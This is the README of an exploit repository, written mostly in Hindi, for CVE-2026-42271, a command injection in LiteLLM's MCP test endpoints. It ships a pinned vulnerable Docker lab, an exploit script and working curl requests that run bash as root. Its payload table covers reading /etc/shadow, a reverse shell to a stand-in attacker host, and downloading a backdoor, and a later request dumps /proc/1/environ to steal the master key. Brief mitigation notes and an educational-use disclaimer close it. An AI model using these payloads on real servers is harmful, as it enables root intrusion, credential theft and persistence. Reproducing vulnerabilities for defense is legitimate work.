
संबंधित भेद्यता को व्यक्तिगत रूप से पुनरुत्पादित करने के लिए कोड
LiteLLM
POST /mcp-rest/test/connectionऔरPOST /mcp-rest/test/tools/list— MCP stdio transport के माध्यम से प्रमाणित कमांड इंजेक्शन। कोई भी मान्य API कुंजी (डिफ़ॉल्ट Docker डिप्लॉयमेंट में) root के रूप में मनमाने OS कमांड निष्पादित कर सकती है।इमेज digest के माध्यम से पिन की गई है: vulnerable कंटेनर LiteLLM v1.82.6 पर पिन किया गया है, जिससे दीर्घकालिक पुनरुत्पादन सुनिश्चित होता है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (OS कमांड इंजेक्शन) |
| प्रभावित | LiteLLM >= 1.74.2, < 1.83.7 |
| फिक्स | v1.83.7+ (कमांड व्हाइटलिस्ट + PROXY_ADMIN भूमिका जाँच जोड़ी गई) |
| प्रकाशित | 2026-05-08 |
| पिन किया गया संस्करण | v1.82.6 — इमेज digest द्वारा पिन की गई है, दीर्घकालिक पुनरुत्पादन सुनिश्चित करने के लिए |
| लिंक | GHSA-v4p8-mg3p-g94g • NVD • GitLab सलाहकार |
सहेजने से पहले MCP सर्वर का पूर्वावलोकन करने के लिए उपयोग किए जाने वाले दो एंडपॉइंट — POST /mcp-rest/test/connection और POST /mcp-rest/test/tools/list — अनुरोध बॉडी में पूर्ण MCP सर्वर कॉन्फ़िगरेशन स्वीकार करते हैं, जिसमें stdio transport द्वारा उपयोग किए जाने वाले command, args, और env फ़ील्ड शामिल हैं।
stdio कॉन्फ़िगरेशन के साथ कॉल किए जाने पर, एंडपॉइंट प्रदान किए गए कमांड को प्रॉक्सी होस्ट पर प्रॉक्सी प्रक्रिया के विशेषाधिकारों (डिफ़ॉल्ट Docker में root) के साथ एक सबप्रोसेस के रूप में स्पॉन करते हैं।
मुख्य समस्या: एंडपॉइंट केवल एक मान्य प्रॉक्सी API कुंजी की जाँच करते हैं, कोई भूमिका जाँच नहीं — यहाँ तक कि निम्न-विशेषाधिकार वाली internal_user कुंजियाँ भी इसका दुरुपयोग कर सकती हैं।
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
API "Failed to connect to MCP server" लौटाता है क्योंकि स्पॉन की गई प्रक्रिया MCP प्रोटोकॉल नहीं बोलती — लेकिन कमांड पहले ही root विशेषाधिकारों के साथ निष्पादित हो चुका होता है।
| परिदृश्य | Payload |
|---|---|
| बेसिक RCE | "args": ["-c", "id > /tmp/pwned"] |
| फ़ाइलें पढ़ें | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| env एक्सफ़िलट्रेट करें | `"args": ["-c", "cat /proc/1/environ |
| रिवर्स शेल | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| पर्सिस्टेंस | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionMCP सर्वर कनेक्शन का परीक्षण करता है। stdio transport के साथ, प्रदान किए गए कमांड को स्पॉन करता है।
POST /mcp-rest/test/tools/listपरीक्षण MCP सर्वर से टूल सूचीबद्ध करता है। समान व्यवहार — stdio transport का उपयोग करने पर प्रदान किए गए कमांड को स्पॉन करता है।
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| फ़ील्ड | प्रकार | आवश्यक | विवरण |
|---|---|---|---|
transport | string | हाँ | कमांड इंजेक्शन के लिए "stdio" होना चाहिए |
command | string | हाँ | स्पॉन करने के लिए एक्ज़ीक्यूटेबल (जैसे, bash, python, curl) |
args | array | हाँ | कमांड को पास किए गए तर्क |
env | object | नहीं | सबप्रोसेस के लिए पर्यावरण चर |
फिक्स ने सुरक्षा की दो परतें जोड़ीं:
validate_transport_fields() के माध्यम से — केवल ये अनुमत: npx, uvx, python, python3, node, docker, denoPROXY_ADMIN भूमिका की आवश्यकता रखते हैंCVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN भूमिका जाँच)/mcp-rest/test/connection और /mcp-rest/test/tools/list को ब्लॉक करेंdocker run --user 1000:1000 ...5.7 अनुभाग (प्रक्रिया पर्यावरण चर निकालना) को दोहराते समय ध्यान दें: MCP Python SDK v1.25.0+ stdio सबप्रोसेस बनाते समय LiteLLM पैरेंट प्रक्रिया के पर्यावरण चरों को इनहेरिट नहीं करता। SDK get_default_environment() के माध्यम से केवल HOME और PATH पास करता है, फिर उपयोगकर्ता द्वारा स्पष्ट रूप से निर्दिष्ट env फ़ील्ड को मर्ज करता है।
इसलिए env > /tmp/env_dump LITELLM_MASTER_KEY कैप्चर नहीं कर सकता।
सही तरीका: LiteLLM मुख्य प्रक्रिया का /proc/1/environ पढ़कर पर्यावरण चर निकालें:
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
विवरण के लिए पुनरुत्पादन रिपोर्ट का अनुभाग 5.7 देखें।
अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।